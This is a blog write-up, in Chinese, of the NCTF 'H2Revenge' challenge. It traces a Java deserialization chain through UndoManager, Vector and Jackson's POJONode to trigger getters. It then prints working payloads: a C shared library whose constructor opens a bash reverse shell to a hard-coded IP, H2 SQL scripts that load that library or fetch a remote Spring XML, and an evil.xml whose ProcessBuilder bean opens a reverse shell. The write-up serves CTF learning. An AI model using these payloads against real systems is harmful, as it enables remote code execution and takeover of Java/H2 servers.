Skip to content

H2Revenge(NCTF)

EventListenerList,UndoManager,Vector::toString利用链

生成序列化payload的exp

img

因为edits属性是在UndoManager的父类里面,所以getFieldValue()函数加了一个没有在当前类中找到就在传入的class参数中找。

EventListenerList::readObject(注意断点的那两处要强制步入)

img

进入add()

img

调试可以看到add的参数t是生成序列化payload的exp中的这一步中的Map.class,i是这一步中的undoManager

img

因为Map.class不是UndoManager的子类,所以进入报错代码块,即上图的上图,此时就调用了i,t的toString方法。

Map::toString不重要,我们看UndoManager::toString

img

进入super.toString

img

此时edits::toString()被调用了

img

edits是UndoManager父类CompoundEdit的属性,在实例化UndoManager的时候就会自动调用其父类的无参构造器,所以edits被赋值为Vector实例。

所以edits::toString实际上调用的是Vector::toString

img

img

由于java的动态绑定机制,iterator()实际上是调用的Vector::iterator(),所以这个toString函数遍历了Vector的elementdata属性,并且调用了其toString方法

img

而生成序列化payload的exp中的Vector.add()就是往elementdata中添加成员,所以我们就可以选择要触发哪个类的toString方法

toString->getter(POJONode)

若我们想调用某个类的getter方法,只需要将pojonode的实例放进Vector.add()里面,再把要触发的getter的目标类放进pojonode的构造函数里面,但要记得去除pojonode父类valuenode的父类BaseJsonNode的writeReplace()方法,不然的话反序列化的时候会检查反序列化的类是否实现了writeReplace()这个方法,会报错

调用PojoNode::toString之前的链子如上文所说。

PojoNode本身没有toString方法,但它的爷爷类BaseJsonNode有,

img

img

这里调用了ObjectWriter::writeValueAsString方法,类似于ObjectMapper::writeValueAsString,将对象序列化成Json字符串,在此过程中会遍历对象的getter方法。但具体实现有点复杂,就不跟进了

1
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

这是大致调用栈,找一找名字差不多的,跟进一下就是了,我成功跟到了目标类的getter方法里面

H2Revenge

反序列化脚本

img

1.sql

1
2
3
CALL FILE_WRITE(X'16进制数据',‘/tmp/exp.so’);
CREATE ALIEAS IF NOT EXISTS System_load FOR java.lang.System.load(java.lang.String);
CALL System_load('/tmp/exp.so');

c文件

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__((__constructor__)) void preload(void){
system("bash -c 'bash -i >& /dev/tcp/101.200.78.188/1313 0>&1'");
}

将c编译成.so文件。

用hexed将.so文件的16进制导出为.hex文件,复制里面的值到1.sql里

vps成功收到GET /1.sql,但没反弹shell,复现失败(我试了另一种方法,成功了)。

失败原因是h2根本没有FILE_WRITE这个方法

明天学学第二种方法

未成功

https://blog.csdn.net/Err0r233/article/details/146484415

成功

https://exp10it.io/2025/03/nctf-2024-web-writeup/#h2revenge

成功方法

利用ClassPathXmlApplicationContext类

这是其中一个构造函数

img

这个构造函数可以远程加载恶意的xml文档。

调用这个构造函数会实例化xml文档中的bean,如果还设置了init-Method,还会在实例化后调用指定的method.

这就是这道题对应的evil.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/host.docker.internal/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

恶意sql文件

1
2
3
4
5
6
7
8
9
10
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';

SET @url_str='http://host.docker.internal:8000/evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);

为什么要调用unescapeValue()?因为在sql中url_str是varchar类型,而在ClassPathXmlApplicationContext构造函数需要的是Object类型,UnescapeValue()这个函数就是将String转换为Object

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.